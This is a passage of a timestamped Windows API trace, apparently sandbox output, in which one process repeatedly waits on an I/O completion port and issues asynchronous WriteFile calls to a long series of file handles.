[0113.686] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.687] WriteFile (in: hFile=0x4b4, lpBuffer=0x53ad990, nNumberOfBytesToWrite=0x16ce9, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53ad840 | out: lpBuffer=0x53ad990, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53ad840) returned 0x0 [0113.688] RtlGetLastWin32Error () returned 0x3e5 [0113.688] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.689] WriteFile (in: hFile=0x4b8, lpBuffer=0x53c47d8, nNumberOfBytesToWrite=0x18b3b, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53c4688 | out: lpBuffer=0x53c47d8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53c4688) returned 0x0 [0113.689] RtlGetLastWin32Error () returned 0x3e5 [0113.689] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.690] WriteFile (in: hFile=0x4bc, lpBuffer=0x53dd470, nNumberOfBytesToWrite=0x5634, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53dd320 | out: lpBuffer=0x53dd470, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53dd320) returned 0x0 [0113.690] RtlGetLastWin32Error () returned 0x3e5 [0113.690] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.691] WriteFile (in: hFile=0x4c0, lpBuffer=0x53e2c00, nNumberOfBytesToWrite=0x87c5, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53e2ab0 | out: lpBuffer=0x53e2c00, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53e2ab0) returned 0x0 [0113.691] RtlGetLastWin32Error () returned 0x3e5 [0113.692] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.692] WriteFile (in: hFile=0x4c4, lpBuffer=0x388fe78, nNumberOfBytesToWrite=0x4c8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388fd28 | out: lpBuffer=0x388fe78, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388fd28) returned 0x0 [0113.695] RtlGetLastWin32Error () returned 0x3e5 [0113.695] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.696] WriteFile (in: hFile=0x340, lpBuffer=0x53eb520, nNumberOfBytesToWrite=0x12d39, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53eb3d0 | out: lpBuffer=0x53eb520, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53eb3d0) returned 0x0 [0113.697] RtlGetLastWin32Error () returned 0x3e5 [0113.697] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.697] WriteFile (in: hFile=0x4c8, lpBuffer=0x53fe3b8, nNumberOfBytesToWrite=0xa3a6, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53fe268 | out: lpBuffer=0x53fe3b8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53fe268) returned 0x0 [0113.698] RtlGetLastWin32Error () returned 0x3e5 [0113.698] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.699] WriteFile (in: hFile=0x4cc, lpBuffer=0x54088b8, nNumberOfBytesToWrite=0x10497, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5408768 | out: lpBuffer=0x54088b8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5408768) returned 0x0 [0113.700] RtlGetLastWin32Error () returned 0x3e5 [0113.700] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.701] WriteFile (in: hFile=0x4d0, lpBuffer=0x5418ea8, nNumberOfBytesToWrite=0x12dde, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5418d58 | out: lpBuffer=0x5418ea8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5418d58) returned 0x0 [0113.701] RtlGetLastWin32Error () returned 0x3e5 [0113.702] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.703] WriteFile (in: hFile=0x4d4, lpBuffer=0x542bde0, nNumberOfBytesToWrite=0x16c5e, lpNumberOfBytesWritten=0x0, lpOverlapped=0x542bc90 | out: lpBuffer=0x542bde0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x542bc90) returned 0x0 [0113.703] RtlGetLastWin32Error () returned 0x3e5 [0113.703] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.704] WriteFile (in: hFile=0x4d8, lpBuffer=0x5442b98, nNumberOfBytesToWrite=0x1706b, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5442a48 | out: lpBuffer=0x5442b98, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5442a48) returned 0x0 [0113.705] RtlGetLastWin32Error () returned 0x3e5 [0113.705] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.705] WriteFile (in: hFile=0x4dc, lpBuffer=0x39781f0, nNumberOfBytesToWrite=0x1751, lpNumberOfBytesWritten=0x0, lpOverlapped=0x39780a0 | out: lpBuffer=0x39781f0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x39780a0) returned 0x0 [0113.706] RtlGetLastWin32Error () returned 0x3e5 [0113.706] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.707] WriteFile (in: hFile=0x4e0, lpBuffer=0x5459d60, nNumberOfBytesToWrite=0x107b6, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5459c10 | out: lpBuffer=0x5459d60, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5459c10) returned 0x0 [0113.707] RtlGetLastWin32Error () returned 0x3e5 [0113.707] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.708] WriteFile (in: hFile=0x4e4, lpBuffer=0x546a670, nNumberOfBytesToWrite=0xb74d, lpNumberOfBytesWritten=0x0, lpOverlapped=0x546a520 | out: lpBuffer=0x546a670, lpNumberOfBytesWritten=0x0, lpOverlapped=0x546a520) returned 0x0 [0113.708] RtlGetLastWin32Error () returned 0x3e5 [0113.709] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.709] WriteFile (in: hFile=0x4e8, lpBuffer=0x5475f18, nNumberOfBytesToWrite=0xc859, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5475dc8 | out: lpBuffer=0x5475f18, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5475dc8) returned 0x0 [0113.710] RtlGetLastWin32Error () returned 0x3e5 [0113.710] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.711] WriteFile (in: hFile=0x4ec, lpBuffer=0x54828d0, nNumberOfBytesToWrite=0x13990, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5482780 | out: lpBuffer=0x54828d0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5482780) returned 0x0 [0113.711] RtlGetLastWin32Error () returned 0x3e5 [0113.711] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.712] WriteFile (in: hFile=0x4f0, lpBuffer=0x54963b8, nNumberOfBytesToWrite=0x6d16, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5496268 | out: lpBuffer=0x54963b8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5496268) returned 0x0 [0113.712] RtlGetLastWin32Error () returned 0x3e5 [0113.712] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.713] WriteFile (in: hFile=0x4f4, lpBuffer=0x549d228, nNumberOfBytesToWrite=0x163d8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x549d0d8 | out: lpBuffer=0x549d228, lpNumberOfBytesWritten=0x0, lpOverlapped=0x549d0d8) returned 0x0 [0113.714] RtlGetLastWin32Error () returned 0x3e5 [0113.714] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.714] WriteFile (in: hFile=0x4f8, lpBuffer=0x54b3758, nNumberOfBytesToWrite=0x39a2, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54b3608 | out: lpBuffer=0x54b3758, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54b3608) returned 0x0 [0113.714] RtlGetLastWin32Error () returned 0x3e5 [0113.715] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.715] WriteFile (in: hFile=0x4fc, lpBuffer=0x54b7258, nNumberOfBytesToWrite=0x13133, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54b7108 | out: lpBuffer=0x54b7258, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54b7108) returned 0x0 [0113.716] RtlGetLastWin32Error () returned 0x3e5 [0113.716] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.717] WriteFile (in: hFile=0x500, lpBuffer=0x54ca4e8, nNumberOfBytesToWrite=0x7d1f, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54ca398 | out: lpBuffer=0x54ca4e8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54ca398) returned 0x0 [0113.717] RtlGetLastWin32Error () returned 0x3e5 [0113.717] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.718] WriteFile (in: hFile=0x504, lpBuffer=0x54d2360, nNumberOfBytesToWrite=0x10e3a, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54d2210 | out: lpBuffer=0x54d2360, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54d2210) returned 0x0 [0113.718] RtlGetLastWin32Error () returned 0x3e5 [0113.719] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.719] WriteFile (in: hFile=0x508, lpBuffer=0x54e32f8, nNumberOfBytesToWrite=0x1598b, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54e31a8 | out: lpBuffer=0x54e32f8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54e31a8) returned 0x0 [0113.720] RtlGetLastWin32Error () returned 0x3e5 [0113.720] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.721] WriteFile (in: hFile=0x50c, lpBuffer=0x54f8de0, nNumberOfBytesToWrite=0x144fb, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54f8c90 | out: lpBuffer=0x54f8de0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54f8c90) returned 0x0 [0113.721] RtlGetLastWin32Error () returned 0x3e5 [0113.721] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.722] WriteFile (in: hFile=0x510, lpBuffer=0x3979aa0, nNumberOfBytesToWrite=0x846, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3979950 | out: lpBuffer=0x3979aa0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3979950) returned 0x0 [0113.722] RtlGetLastWin32Error () returned 0x3e5 [0113.722] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.723] WriteFile (in: hFile=0x514, lpBuffer=0x550d438, nNumberOfBytesToWrite=0x1201f, lpNumberOfBytesWritten=0x0, lpOverlapped=0x550d2e8 | out: lpBuffer=0x550d438, lpNumberOfBytesWritten=0x0, lpOverlapped=0x550d2e8) returned 0x0 [0113.723] RtlGetLastWin32Error () returned 0x3e5 [0113.723] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.724] WriteFile (in: hFile=0x518, lpBuffer=0x551f5b0, nNumberOfBytesToWrite=0x93dc, lpNumberOfBytesWritten=0x0, lpOverlapped=0x551f460 | out: lpBuffer=0x551f5b0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x551f460) returned 0x0 [0113.724] RtlGetLastWin32Error () returned 0x3e5 [0113.724] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.725] WriteFile (in: hFile=0x51c, lpBuffer=0x5528ae8, nNumberOfBytesToWrite=0xbfec, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5528998 | out: lpBuffer=0x5528ae8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5528998) returned 0x0 [0113.725] RtlGetLastWin32Error () returned 0x3e5 [0113.725] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.726] WriteFile (in: hFile=0x520, lpBuffer=0x5534c30, nNumberOfBytesToWrite=0xf943, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5534ae0 | out: lpBuffer=0x5534c30, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5534ae0) returned 0x0 [0113.726] RtlGetLastWin32Error () returned 0x3e5 [0113.726] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.727] WriteFile (in: hFile=0x524, lpBuffer=0x55446d0, nNumberOfBytesToWrite=0x1689b, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5544580 | out: lpBuffer=0x55446d0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5544580) returned 0x0 [0113.728] RtlGetLastWin32Error () returned 0x3e5 [0113.728] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.729] WriteFile (in: hFile=0x528, lpBuffer=0x555b0c8, nNumberOfBytesToWrite=0x15686, lpNumberOfBytesWritten=0x0, lpOverlapped=0x555af78 | out: lpBuffer=0x555b0c8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x555af78) returned 0x0 [0113.730] RtlGetLastWin32Error () returned 0x3e5 [0113.730] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.730] WriteFile (in: hFile=0x52c, lpBuffer=0x55708a8, nNumberOfBytesToWrite=0xeb27, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5570758 | out: lpBuffer=0x55708a8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5570758) returned 0x0 [0113.731] RtlGetLastWin32Error () returned 0x3e5 [0113.731] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.731] WriteFile (in: hFile=0x530, lpBuffer=0x557f528, nNumberOfBytesToWrite=0x9f7c, lpNumberOfBytesWritten=0x0, lpOverlapped=0x557f3d8 | out: lpBuffer=0x557f528, lpNumberOfBytesWritten=0x0, lpOverlapped=0x557f3d8) returned 0x0 [0113.732] RtlGetLastWin32Error () returned 0x3e5 [0113.732] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.732] WriteFile (in: hFile=0x534, lpBuffer=0x5589600, nNumberOfBytesToWrite=0x5528, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55894b0 | out: lpBuffer=0x5589600, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55894b0) returned 0x0 [0113.732] RtlGetLastWin32Error () returned 0x3e5 [0113.733] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.733] WriteFile (in: hFile=0x538, lpBuffer=0x558ec80, nNumberOfBytesToWrite=0xca1d, lpNumberOfBytesWritten=0x0, lpOverlapped=0x558eb30 | out: lpBuffer=0x558ec80, lpNumberOfBytesWritten=0x0, lpOverlapped=0x558eb30) returned 0x0 [0113.733] RtlGetLastWin32Error () returned 0x3e5 [0113.733] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.734] WriteFile (in: hFile=0x53c, lpBuffer=0x559b7f8, nNumberOfBytesToWrite=0x1290a, lpNumberOfBytesWritten=0x0, lpOverlapped=0x559b6a8 | out: lpBuffer=0x559b7f8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x559b6a8) returned 0x0 [0113.735] RtlGetLastWin32Error () returned 0x3e5 [0113.735] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.735] WriteFile (in: hFile=0x540, lpBuffer=0x55ae260, nNumberOfBytesToWrite=0x4766, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55ae110 | out: lpBuffer=0x55ae260, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55ae110) returned 0x0 [0113.735] RtlGetLastWin32Error () returned 0x3e5 [0113.735] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.736] WriteFile (in: hFile=0x544, lpBuffer=0x4531198, nNumberOfBytesToWrite=0x2a7c, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4531048 | out: lpBuffer=0x4531198, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4531048) returned 0x0 [0113.736] RtlGetLastWin32Error () returned 0x3e5 [0113.736] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.736] WriteFile (in: hFile=0x548, lpBuffer=0x55b2b20, nNumberOfBytesToWrite=0x5923, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55b29d0 | out: lpBuffer=0x55b2b20, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55b29d0) returned 0x0 [0113.736] RtlGetLastWin32Error () returned 0x3e5 [0113.737] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.737] WriteFile (in: hFile=0x54c, lpBuffer=0x55b85a0, nNumberOfBytesToWrite=0x39ac, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55b8450 | out: lpBuffer=0x55b85a0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55b8450) returned 0x0 [0113.737] RtlGetLastWin32Error () returned 0x3e5 [0113.737] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.738] WriteFile (in: hFile=0x550, lpBuffer=0x55bc0a8, nNumberOfBytesToWrite=0x171a1, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55bbf58 | out: lpBuffer=0x55bc0a8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55bbf58) returned 0x0 [0113.738] RtlGetLastWin32Error () returned 0x3e5 [0113.738] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.739] WriteFile (in: hFile=0x554, lpBuffer=0x55d33a8, nNumberOfBytesToWrite=0xc2d2, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55d3258 | out: lpBuffer=0x55d33a8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55d3258) returned 0x0 [0113.739] RtlGetLastWin32Error () returned 0x3e5 [0113.739] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.740] WriteFile (in: hFile=0x558, lpBuffer=0x55df7d8, nNumberOfBytesToWrite=0xf0cf, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55df688 | out: lpBuffer=0x55df7d8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55df688) returned 0x0 [0113.740] RtlGetLastWin32Error () returned 0x3e5 [0113.740] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.740] WriteFile (in: hFile=0x55c, lpBuffer=0x55eea00, nNumberOfBytesToWrite=0x129d9, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55ee8b0 | out: lpBuffer=0x55eea00, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55ee8b0) returned 0x0 [0113.741] RtlGetLastWin32Error () returned 0x3e5 [0113.741] GetQueuedCompletionStatus (in: CompletionPort=0x220, 